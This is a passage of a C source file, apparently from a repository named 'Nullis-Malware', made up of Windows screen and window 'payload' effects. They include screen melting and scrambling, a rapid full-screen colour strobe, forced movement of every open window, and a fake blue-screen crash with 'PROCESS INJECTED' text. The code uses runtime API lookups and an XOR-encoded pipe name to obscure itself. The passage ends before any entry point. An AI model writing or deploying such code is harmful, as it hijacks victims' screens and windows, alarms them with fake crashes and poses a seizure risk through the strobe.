Files
Nullis-Malware/party.c
T
2026-06-28 16:29:11 +00:00

635 lines
29 KiB
C

#include <windows.h>
#include <tlhelp32.h>
#include <math.h>
#include <stdlib.h>
typedef HDC (WINAPI *PFN_GetDC)(HWND);
typedef HDC (WINAPI *PFN_GetDCEx)(HWND,HRGN,DWORD);
typedef int (WINAPI *PFN_ReleaseDC)(HWND,HDC);
typedef BOOL (WINAPI *PFN_PatBlt)(HDC,int,int,int,int,DWORD);
typedef BOOL (WINAPI *PFN_BitBlt)(HDC,int,int,int,int,HDC,int,int,DWORD);
typedef BOOL (WINAPI *PFN_StretchBlt)(HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
typedef HBRUSH (WINAPI *PFN_CreateSolidBrush)(COLORREF);
typedef HFONT (WINAPI *PFN_CreateFontW)(int,int,int,int,int,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,LPCWSTR);
typedef BOOL (WINAPI *PFN_TextOutW)(HDC,int,int,LPCWSTR,int);
typedef HPEN (WINAPI *PFN_CreatePen)(int,int,COLORREF);
typedef HGDIOBJ (WINAPI *PFN_SelectObject)(HDC,HGDIOBJ);
typedef BOOL (WINAPI *PFN_DeleteObject)(HGDIOBJ);
typedef int (WINAPI *PFN_SetBkMode)(HDC,int);
typedef COLORREF (WINAPI *PFN_SetTextColor)(HDC,COLORREF);
typedef COLORREF (WINAPI *PFN_SetBkColor)(HDC,COLORREF);
typedef BOOL (WINAPI *PFN_MoveToEx)(HDC,int,int,LPPOINT);
typedef BOOL (WINAPI *PFN_LineTo)(HDC,int,int);
typedef BOOL (WINAPI *PFN_SetWindowPos)(HWND,HWND,int,int,int,int,UINT);
typedef LONG (WINAPI *PFN_SetWindowLongW)(HWND,int,LONG);
typedef LONG (WINAPI *PFN_GetWindowLongW)(HWND,int);
typedef HWND (WINAPI *PFN_GetTopWindow)(HWND);
typedef HWND (WINAPI *PFN_GetWindow)(HWND,UINT);
typedef BOOL (WINAPI *PFN_GetWindowRect)(HWND,LPRECT);
typedef BOOL (WINAPI *PFN_IsWindowVisible)(HWND);
typedef int (WINAPI *PFN_GetSystemMetrics)(int);
typedef BOOL (WINAPI *PFN_InvalidateRect)(HWND,CONST RECT*,BOOL);
typedef HWND (WINAPI *PFN_GetDesktopWindow)(void);
typedef HDC (WINAPI *PFN_CreateCompatibleDC)(HDC);
typedef HBITMAP (WINAPI *PFN_CreateCompatibleBitmap)(HDC,int,int);
typedef int (WINAPI *PFN_GetDIBits)(HDC,HBITMAP,UINT,UINT,void*,BITMAPINFO*,UINT);
typedef int (WINAPI *PFN_StretchDIBits)(HDC,int,int,int,int,int,int,int,int,CONST void*,CONST BITMAPINFO*,UINT,DWORD);
typedef BOOL (WINAPI *PFN_DeleteDC)(HDC);
typedef SHORT (WINAPI *PFN_GetAsyncKeyState)(int);
typedef BOOL (WINAPI *PFN_MoveWindow)(HWND,int,int,int,int,BOOL);
static HMODULE g_u32=NULL, g_g32=NULL;
#define APIU(name) ((PFN_##name)GetProcAddress(g_u32,#name))
#define APIG(name) ((PFN_##name)GetProcAddress(g_g32,#name))
static volatile LONG g_stop=0;
#define SHOULD_STOP() (InterlockedCompareExchange(&g_stop,0,0)!=0)
#define CHK_ESC() do { \
PFN_GetAsyncKeyState _f=(PFN_GetAsyncKeyState)GetProcAddress(g_u32,"GetAsyncKeyState"); \
if(_f&&(_f(VK_ESCAPE)&0x8000)) InterlockedExchange(&g_stop,1); \
} while(0)
static int g_sw=1920, g_sh=1080;
static volatile LONG g_rng=0x12345678;
static unsigned int xrand(void){
LONG v=InterlockedCompareExchange(&g_rng,0,0);
v^=v<<13; v^=v>>17; v^=v<<5;
InterlockedExchange(&g_rng,v);
return (unsigned int)v;
}
#define RNG(n) ((int)(xrand()%(unsigned)(n)))
static void get_pipe_name(WCHAR *out){
const WCHAR pre[]=L"\\\\.\\pipe\\";
const BYTE enc[]={0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
wcscpy(out,pre);
WCHAR *p=out+9;
for(int i=0;i<10;i++) p[i]=(WCHAR)(enc[i]^0x11);
p[10]=0;
}
static BYTE *alloc_buf(int w,int h){
return (BYTE*)VirtualAlloc(NULL,(SIZE_T)w*h*4,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
}
static void make_bmi(BITMAPINFO *b,int w,int h){
ZeroMemory(b,sizeof(BITMAPINFO));
b->bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
b->bmiHeader.biWidth=w; b->bmiHeader.biHeight=-h;
b->bmiHeader.biPlanes=1; b->bmiHeader.biBitCount=32;
b->bmiHeader.biCompression=BI_RGB;
}
static BOOL cap(HDC sdc,BYTE *buf,int w,int h){
BITMAPINFO bmi; make_bmi(&bmi,w,h);
HDC mdc=APIG(CreateCompatibleDC)(sdc);
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,w,h);
APIG(SelectObject)(mdc,bm);
APIG(BitBlt)(mdc,0,0,w,h,sdc,0,0,SRCCOPY);
int ok=APIG(GetDIBits)(mdc,bm,0,(UINT)h,buf,&bmi,DIB_RGB_COLORS);
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm);
return ok>0;
}
static void blit(HDC sdc,const BYTE *buf,int w,int h){
BITMAPINFO bmi; make_bmi(&bmi,w,h);
APIG(StretchDIBits)(sdc,0,0,w,h,0,0,w,h,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
}
static int get_wins(HWND *arr,int max){
int n=0; HWND hw=APIU(GetTopWindow)(NULL);
while(hw&&n<max){if(APIU(IsWindowVisible)(hw))arr[n++]=hw;hw=APIU(GetWindow)(hw,GW_HWNDNEXT);}
return n;
}
static DWORD WINAPI fx_meltdown(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
BYTE *src=alloc_buf(g_sw,g_sh); if(!src){APIU(ReleaseDC)(NULL,sdc);return 0;}
cap(sdc,src,g_sw,g_sh);
int *off=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
int *spd=(int*)VirtualAlloc(NULL,g_sw*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
if(!off||!spd) goto e0;
for(int x=0;x<g_sw;x++){off[x]=0;spd[x]=1+RNG(4);}
for(int f=0;f<500&&!SHOULD_STOP();f++){
CHK_ESC();
for(int x=0;x<g_sw&&!SHOULD_STOP();x+=2){
spd[x]+=(f>200)?2:0; off[x]+=spd[x];
if(off[x]>g_sh) off[x]=g_sh;
int ch=g_sh-off[x];
if(ch>0){BITMAPINFO b2;make_bmi(&b2,g_sw,g_sh);APIG(StretchDIBits)(sdc,x,off[x],2,ch,x,0,2,ch,src,&b2,DIB_RGB_COLORS,SRCCOPY);}
}
Sleep(8);
}
e0: if(off)VirtualFree(off,0,MEM_RELEASE);
if(spd)VirtualFree(spd,0,MEM_RELEASE);
if(src)VirtualFree(src,0,MEM_RELEASE);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_strobe(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
COLORREF c[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(128,0,255),RGB(0,255,128),RGB(255,255,255),RGB(0,0,0),RGB(255,0,128)};
for(int t=0;t<800&&!SHOULD_STOP();t++){
CHK_ESC();
HBRUSH br=APIG(CreateSolidBrush)(c[t%12]);
APIG(SelectObject)(sdc,br); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(br);
Sleep(4);
}
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_resize(void *u){
HWND wins[256]; int wc=get_wins(wins,256);
for(int t=0;t<400&&!SHOULD_STOP();t++){
CHK_ESC();
for(int i=0;i<wc&&!SHOULD_STOP();i++){
if(!APIU(IsWindowVisible)(wins[i])) continue;
int x=RNG(g_sw),y=RNG(g_sh),w=80+RNG(g_sw-80),h=60+RNG(g_sh-60);
APIU(MoveWindow)(wins[i],x,y,w,h,FALSE);
APIU(SetWindowPos)(wins[i],HWND_TOPMOST,x,y,w,h,SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
}
Sleep(30);
}
return 0;
}
static DWORD WINAPI fx_chromatic(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
BYTE *src=alloc_buf(g_sw,g_sh),*dst=alloc_buf(g_sw,g_sh);
if(!src||!dst) goto e3;
cap(sdc,src,g_sw,g_sh);
int s=g_sw*4;
for(int f=0;f<400&&!SHOULD_STOP();f++){
CHK_ESC();
int ro=(int)(sinf(f*0.09f)*40),bo=(int)(cosf(f*0.07f)*35);
int rvy=(int)(cosf(f*0.05f)*20),bvy=(int)(sinf(f*0.08f)*15);
for(int y=0;y<g_sh;y++) for(int x=0;x<g_sw;x++){
int rx=x-ro,ry=y-rvy,bx=x-bo,by=y-bvy;
if(rx<0)rx=0;if(rx>=g_sw)rx=g_sw-1;if(ry<0)ry=0;if(ry>=g_sh)ry=g_sh-1;
if(bx<0)bx=0;if(bx>=g_sw)bx=g_sw-1;if(by<0)by=0;if(by>=g_sh)by=g_sh-1;
dst[y*s+x*4+2]=src[ry*s+rx*4+2];
dst[y*s+x*4+1]=src[y*s+x*4+1];
dst[y*s+x*4+0]=src[by*s+bx*4+0];
dst[y*s+x*4+3]=0;
}
blit(sdc,dst,g_sw,g_sh); Sleep(10);
}
e3: if(src)VirtualFree(src,0,MEM_RELEASE);
if(dst)VirtualFree(dst,0,MEM_RELEASE);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_memdump(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
HBRUSH blk=APIG(CreateSolidBrush)(RGB(0,0,0));
APIG(SelectObject)(sdc,blk); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blk);
HFONT f=APIG(CreateFontW)(13,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
APIG(SelectObject)(sdc,f); APIG(SetBkMode)(sdc,OPAQUE); APIG(SetBkColor)(sdc,RGB(0,0,0));
WCHAR ln[128]; unsigned int addr=0xFFFF8000;
for(int row=0;row<200&&!SHOULD_STOP();row++){
CHK_ESC();
int y=(row%((g_sh-60)/14))*14;
APIG(SetTextColor)(sdc,row%7==0?RGB(255,0,0):row%5==0?RGB(255,255,0):RGB(0,220,0));
wsprintfW(ln,L"%08X: %04X %04X %04X %04X %04X %04X %04X %04X",addr,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF,xrand()&0xFFFF);
APIU(TextOutW)(sdc,0,y,ln,(int)wcslen(ln)); addr+=16; Sleep(8);
}
HBRUSH blue=APIG(CreateSolidBrush)(RGB(0,0,170));
APIG(SelectObject)(sdc,blue); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(blue);
HFONT big=APIG(CreateFontW)(32,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
APIG(SelectObject)(sdc,big); APIG(SetBkMode)(sdc,TRANSPARENT); APIG(SetTextColor)(sdc,RGB(255,255,255));
const WCHAR *bsod[]={L":( Your PC ran into a problem.",L"",L"MEMORY_MANAGEMENT (0x0000001A)",L"",L"MSRC_POC_UNPRIVILEGED_CHAOS"};
int ty=g_sh/6;
for(int i=0;i<5;i++){APIU(TextOutW)(sdc,60,ty,bsod[i],(int)wcslen(bsod[i]));ty+=44;}
HFONT med=APIG(CreateFontW)(24,0,0,0,FW_NORMAL,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Consolas");
APIG(SelectObject)(sdc,med);
for(int pct=0;pct<=100&&!SHOULD_STOP();pct++){
CHK_ESC();
WCHAR prog[32]; wsprintfW(prog,L"% 3d%% complete",pct);
HBRUSH eb=APIG(CreateSolidBrush)(RGB(0,0,170));
APIG(SelectObject)(sdc,eb); APIG(PatBlt)(sdc,60,g_sh*3/4,400,30,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(eb);
APIU(TextOutW)(sdc,60,g_sh*3/4,prog,(int)wcslen(prog));
HBRUSH wb=APIG(CreateSolidBrush)(RGB(255,255,255));
APIG(SelectObject)(sdc,wb); APIG(PatBlt)(sdc,60,g_sh*3/4+36,(g_sw-120)*pct/100,8,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(wb);
Sleep(60);
}
APIG(DeleteObject)(f); APIG(DeleteObject)(big); APIG(DeleteObject)(med);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_scramble(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
HDC mdc=APIG(CreateCompatibleDC)(sdc);
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh);
APIG(SelectObject)(mdc,bm);
int TW=80,TH=60,cols=g_sw/TW,ntiles=cols*(g_sh/TH);
int *idx=(int*)VirtualAlloc(NULL,ntiles*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
if(!idx) goto e5;
for(int f=0;f<500&&!SHOULD_STOP();f++){
CHK_ESC();
APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
for(int i=0;i<ntiles;i++) idx[i]=i;
for(int i=ntiles-1;i>0;i--){int j=RNG(i+1);int t=idx[i];idx[i]=idx[j];idx[j]=t;}
for(int i=0;i<ntiles&&!SHOULD_STOP();i++)
APIG(BitBlt)(sdc,(idx[i]%cols)*TW,(idx[i]/cols)*TH,TW,TH,mdc,(i%cols)*TW,(i/cols)*TH,SRCCOPY);
Sleep(16);
}
e5: if(idx)VirtualFree(idx,0,MEM_RELEASE);
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_bounce(void *u){
HWND wins[128]; int wc=get_wins(wins,128); if(!wc) return 0;
typedef struct{int x,y,vx,vy,w,h;}Ball;
Ball *b=(Ball*)VirtualAlloc(NULL,wc*sizeof(Ball),MEM_COMMIT,PAGE_READWRITE); if(!b) return 0;
HDC sdc=APIU(GetDC)(NULL);
COLORREF hues[]={RGB(255,0,0),RGB(0,255,0),RGB(0,0,255),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255)};
for(int i=0;i<wc;i++){
RECT r; APIU(GetWindowRect)(wins[i],&r);
b[i].w=r.right-r.left;b[i].h=r.bottom-r.top;b[i].x=r.left;b[i].y=r.top;
b[i].vx=8+RNG(14);b[i].vy=6+RNG(10);
if(RNG(2))b[i].vx=-b[i].vx; if(RNG(2))b[i].vy=-b[i].vy;
}
for(int t=0;t<800&&!SHOULD_STOP();t++){
CHK_ESC();
for(int i=0;i<wc;i++){
BOOL hit=FALSE;
b[i].x+=b[i].vx;b[i].y+=b[i].vy;
if(b[i].x<0){b[i].x=0;b[i].vx=abs(b[i].vx);hit=TRUE;}
if(b[i].y<0){b[i].y=0;b[i].vy=abs(b[i].vy);hit=TRUE;}
if(b[i].x+b[i].w>g_sw){b[i].x=g_sw-b[i].w;b[i].vx=-abs(b[i].vx);hit=TRUE;}
if(b[i].y+b[i].h>g_sh){b[i].y=g_sh-b[i].h;b[i].vy=-abs(b[i].vy);hit=TRUE;}
APIU(SetWindowPos)(wins[i],HWND_TOPMOST,b[i].x,b[i].y,0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
if(hit&&sdc){
HBRUSH fb=APIG(CreateSolidBrush)(hues[RNG(6)]);
APIG(SelectObject)(sdc,fb);
APIG(PatBlt)(sdc,b[i].x,b[i].y,b[i].w,4,PATCOPY);
APIG(PatBlt)(sdc,b[i].x,b[i].y,4,b[i].h,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
}
}
Sleep(10);
}
VirtualFree(b,0,MEM_RELEASE); if(sdc)APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_shake(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
BYTE *snap=alloc_buf(g_sw,g_sh); if(!snap){APIU(ReleaseDC)(NULL,sdc);return 0;}
cap(sdc,snap,g_sw,g_sh);
BITMAPINFO bmi; make_bmi(&bmi,g_sw,g_sh);
for(int t=0;t<300&&!SHOULD_STOP();t++){
CHK_ESC();
int mag=10+t/3; if(mag>60)mag=60;
APIG(StretchDIBits)(sdc,RNG(mag*2)-mag,RNG(mag*2)-mag,g_sw,g_sh,0,0,g_sw,g_sh,snap,&bmi,DIB_RGB_COLORS,SRCCOPY);
HPEN rp=APIG(CreatePen)(PS_SOLID,2,RGB(220+RNG(35),0,0));
APIG(SelectObject)(sdc,rp);
for(int k=0;k<6;k++){
int x0=RNG(g_sw),y0=RNG(g_sh);
APIU(MoveToEx)(sdc,x0,y0,NULL);
for(int s=0;s<10;s++){x0+=RNG(80)-40;y0+=RNG(100)-10;APIU(LineTo)(sdc,x0,y0);}
}
APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(rp);
Sleep(12);
}
VirtualFree(snap,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_matrix(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
int cols=g_sw/14;
int *drop=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
int *spd=(int*)VirtualAlloc(NULL,cols*sizeof(int),MEM_COMMIT,PAGE_READWRITE);
if(!drop||!spd) goto e8;
for(int i=0;i<cols;i++){drop[i]=RNG(g_sh/14);spd[i]=1+RNG(3);}
HFONT font=APIG(CreateFontW)(14,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,NONANTIALIASED_QUALITY,FIXED_PITCH,L"Courier New");
APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,OPAQUE);
for(int t=0;t<700&&!SHOULD_STOP();t++){
CHK_ESC();
for(int c=0;c<cols;c++){
if(t%spd[c]) continue;
int bright=100+RNG(156);
WCHAR ch[2]={(WCHAR)(0x30A0+RNG(96)),0};
APIG(SetBkColor)(sdc,RGB(0,0,0)); APIG(SetTextColor)(sdc,RGB(bright/4,bright,bright/4));
APIU(TextOutW)(sdc,c*14,drop[c]*14,ch,1);
for(int k=1;k<12;k++){
int ty=drop[c]-k; if(ty<0) break;
WCHAR ch2[2]={(WCHAR)(0x30A0+RNG(96)),0};
APIG(SetTextColor)(sdc,RGB(0,(12-k)*16,0));
APIU(TextOutW)(sdc,c*14,ty*14,ch2,1);
}
drop[c]+=spd[c];
if(drop[c]*14>g_sh){drop[c]=-(RNG(40));spd[c]=1+RNG(3);}
}
Sleep(16);
}
APIG(DeleteObject)(font);
e8: if(drop)VirtualFree(drop,0,MEM_RELEASE);
if(spd)VirtualFree(spd,0,MEM_RELEASE);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static void lbranch(HDC sdc,int x,int y,float ang,int len,int depth,COLORREF col){
if(depth<=0||len<6) return;
float rad=ang*3.14159f/180.0f;
int nx=x+(int)(cosf(rad)*len),ny=y+(int)(sinf(rad)*len);
HPEN p=APIG(CreatePen)(PS_SOLID,depth,col);
APIG(SelectObject)(sdc,p); APIU(MoveToEx)(sdc,x,y,NULL); APIU(LineTo)(sdc,nx,ny);
APIG(SelectObject)(sdc,GetStockObject(NULL_PEN)); APIG(DeleteObject)(p);
float sp=20.0f+(float)RNG(40);
lbranch(sdc,nx,ny,ang+sp,(int)(len*0.65f),depth-1,col);
lbranch(sdc,nx,ny,ang-sp,(int)(len*0.65f),depth-1,col);
if(RNG(3)==0) lbranch(sdc,nx,ny,ang+(float)(RNG(60)-30),(int)(len*0.4f),depth-2,col);
}
static DWORD WINAPI fx_lightning(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
COLORREF ac[]={RGB(0,200,255),RGB(255,0,200),RGB(200,255,0),RGB(255,150,0),RGB(0,255,200),RGB(255,255,255)};
for(int t=0;t<200&&!SHOULD_STOP();t++){
CHK_ESC();
HBRUSH db=APIG(CreateSolidBrush)(RGB(0,0,0));
APIG(SelectObject)(sdc,db); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT); APIG(PatBlt)(sdc,0,0,g_sw,g_sh,PATINVERT);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(db);
for(int a=0;a<3+RNG(4);a++)
lbranch(sdc,RNG(g_sw),RNG(g_sh/3),70.0f+(float)(RNG(40)-20),g_sh/2+RNG(g_sh/3),6,ac[RNG(6)]);
Sleep(50);
}
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_static(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
int W=g_sw/2,H=g_sh/2,s=W*4;
BYTE *buf=alloc_buf(W,H); if(!buf){APIU(ReleaseDC)(NULL,sdc);return 0;}
BITMAPINFO bmi; make_bmi(&bmi,W,H);
COLORREF bc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0),RGB(255,0,100),RGB(100,0,255),RGB(0,255,100)};
for(int f=0;f<500&&!SHOULD_STOP();f++){
CHK_ESC();
for(int i=0;i<W*H;i++){
unsigned int v=xrand();
if(i&15){BYTE l=v&0xFF;buf[i*4]=buf[i*4+1]=buf[i*4+2]=l;}
else{buf[i*4]=(BYTE)v;buf[i*4+1]=(BYTE)(v>>8);buf[i*4+2]=(BYTE)(v>>16);}
buf[i*4+3]=0;
}
for(int b=0;b<4+RNG(6);b++){
COLORREF col=bc[RNG(6)];
BYTE br=col&0xFF,bg=(col>>8)&0xFF,bb=(col>>16)&0xFF;
int x0=RNG(W-10),y0=RNG(H-10),bw=10+RNG(W/3),bh=5+RNG(H/3);
if(x0+bw>W)bw=W-x0; if(y0+bh>H)bh=H-y0;
BYTE al=(BYTE)(100+RNG(155));
for(int y=y0;y<y0+bh;y++) for(int x=x0;x<x0+bw;x++){
int idx=y*s+x*4;
buf[idx]=(BYTE)(((int)buf[idx]*(256-al)+(int)br*al)>>8);
buf[idx+1]=(BYTE)(((int)buf[idx+1]*(256-al)+(int)bg*al)>>8);
buf[idx+2]=(BYTE)(((int)buf[idx+2]*(256-al)+(int)bb*al)>>8);
}
}
APIG(StretchDIBits)(sdc,0,0,g_sw,g_sh,0,0,W,H,buf,&bmi,DIB_RGB_COLORS,SRCCOPY);
Sleep(8);
}
VirtualFree(buf,0,MEM_RELEASE); APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_wormhole(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
HDC mdc=APIG(CreateCompatibleDC)(sdc);
HBITMAP bm=APIG(CreateCompatibleBitmap)(sdc,g_sw,g_sh); APIG(SelectObject)(mdc,bm);
COLORREF h[]={RGB(0,0,60),RGB(0,60,0),RGB(60,0,0),RGB(0,40,60),RGB(40,0,60)};
COLORREF fc[]={RGB(255,0,255),RGB(0,255,255),RGB(255,255,0)};
for(int f=0;f<500&&!SHOULD_STOP();f++){
CHK_ESC();
APIG(BitBlt)(mdc,0,0,g_sw,g_sh,sdc,0,0,SRCCOPY);
HBRUSH tb=APIG(CreateSolidBrush)(h[(f/30)%5]);
APIG(SelectObject)(mdc,tb); APIG(PatBlt)(mdc,0,0,g_sw,g_sh,PATINVERT);
APIG(SelectObject)(mdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(tb);
int bx=12+f%8,by=8+f%6;
APIG(StretchBlt)(sdc,bx,by,g_sw-2*bx,g_sh-2*by,mdc,0,0,g_sw,g_sh,SRCCOPY);
if(f%15==0){
HBRUSH fb=APIG(CreateSolidBrush)(fc[(f/15)%3]);
APIG(SelectObject)(sdc,fb);
APIG(PatBlt)(sdc,0,0,g_sw,by,PATCOPY); APIG(PatBlt)(sdc,0,g_sh-by,g_sw,by,PATCOPY);
APIG(PatBlt)(sdc,0,0,bx,g_sh,PATCOPY); APIG(PatBlt)(sdc,g_sw-bx,0,bx,g_sh,PATCOPY);
APIG(SelectObject)(sdc,GetStockObject(NULL_BRUSH)); APIG(DeleteObject)(fb);
}
Sleep(16);
}
APIG(DeleteDC)(mdc); APIG(DeleteObject)(bm); APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_invwave(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
BYTE *buf=alloc_buf(g_sw,g_sh),*out=alloc_buf(g_sw,g_sh);
if(!buf||!out) goto e12;
cap(sdc,buf,g_sw,g_sh);
int s=g_sw*4;
for(int f=0;f<400&&!SHOULD_STOP();f++){
CHK_ESC();
float ph=f*0.05f,ws=(float)f/400.0f;
for(int y=0;y<g_sh;y++){
float bnd=ws*g_sw+sinf((float)y*0.018f+ph)*100.0f;
for(int x=0;x<g_sw;x++){
BYTE *sr=buf+y*s+x*4,*d=out+y*s+x*4;
if((float)x<bnd){d[0]=255-sr[0];d[1]=255-sr[1];d[2]=255-sr[2];}
else{d[0]=sr[0];d[1]=sr[1];d[2]=sr[2];}
d[3]=0;
}
}
blit(sdc,out,g_sw,g_sh); Sleep(10);
}
e12:if(buf)VirtualFree(buf,0,MEM_RELEASE);
if(out)VirtualFree(out,0,MEM_RELEASE);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static int _cb(const void *a,const void *b){
const BYTE*pa=a,*pb=b;
return ((int)pa[0]+(int)pa[1]+(int)pa[2])-((int)pb[0]+(int)pb[1]+(int)pb[2]);
}
static DWORD WINAPI fx_pixelsort(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
BYTE *buf=alloc_buf(g_sw,g_sh);
BYTE *col=(BYTE*)VirtualAlloc(NULL,g_sh*4,MEM_COMMIT,PAGE_READWRITE);
if(!buf||!col) goto e13;
cap(sdc,buf,g_sw,g_sh);
int s=g_sw*4;
for(int pass=1;pass<=g_sw&&!SHOULD_STOP();pass+=3){
CHK_ESC();
for(int x=0;x<pass&&x<g_sw;x++){
for(int y=0;y<g_sh;y++){col[y*4+0]=buf[y*s+x*4];col[y*4+1]=buf[y*s+x*4+1];col[y*4+2]=buf[y*s+x*4+2];col[y*4+3]=0;}
qsort(col,g_sh,4,_cb);
for(int y=0;y<g_sh;y++){buf[y*s+x*4]=col[y*4];buf[y*s+x*4+1]=col[y*4+1];buf[y*s+x*4+2]=col[y*4+2];}
}
blit(sdc,buf,g_sw,g_sh); Sleep(6);
}
e13:if(buf)VirtualFree(buf,0,MEM_RELEASE);
if(col)VirtualFree(col,0,MEM_RELEASE);
APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_textcrawl(void *u){
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
HFONT font=APIG(CreateFontW)(48,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Impact");
APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,TRANSPARENT);
const WCHAR *m[]={L"SYSTEM FAILURE",L"MEMORY CORRUPT",L"ACCESS DENIED",L"KERNEL PANIC",L"FATAL ERROR",L"0xDEADBEEF",L"MSRC POC",L"NO ADMIN NEEDED",L"PROCESS INJECTED",L"?!?!?!?!"};
COLORREF cc[]={RGB(255,0,0),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(255,255,255)};
for(int t=0;t<600&&!SHOULD_STOP();t++){
CHK_ESC();
float a=t*0.15f,r=30.0f+t*1.8f; if(r>g_sw)r=g_sw;
APIG(SetTextColor)(sdc,cc[t%6]);
const WCHAR *msg=m[t%10];
APIU(TextOutW)(sdc,g_sw/2+(int)(cosf(a)*r),g_sh/2+(int)(sinf(a)*r*0.55f),msg,(int)wcslen(msg));
Sleep(12);
}
APIG(DeleteObject)(font); APIU(ReleaseDC)(NULL,sdc); return 0;
}
static DWORD WINAPI fx_tornado(void *u){
HWND wins[256]; int wc=get_wins(wins,256);
int cx=g_sw/2,cy=g_sh/2;
for(int t=0;t<1800&&!SHOULD_STOP();t++){
CHK_ESC();
float sp=0.8f+(float)t*0.003f,a=(float)t*sp*3.14159f/180.0f,r=60.0f+((float)(t%360))*1.1f;
for(int i=0;i<wc;i++){
float ia=a+(float)i*(2.0f*3.14159f/wc),ir=r*(0.3f+(float)i/wc);
APIU(SetWindowPos)(wins[i],HWND_TOP,cx+(int)(cosf(ia)*ir),cy+(int)(sinf(ia)*ir*0.5f),0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
}
Sleep(5);
}
return 0;
}
typedef LONG NTSTATUS;
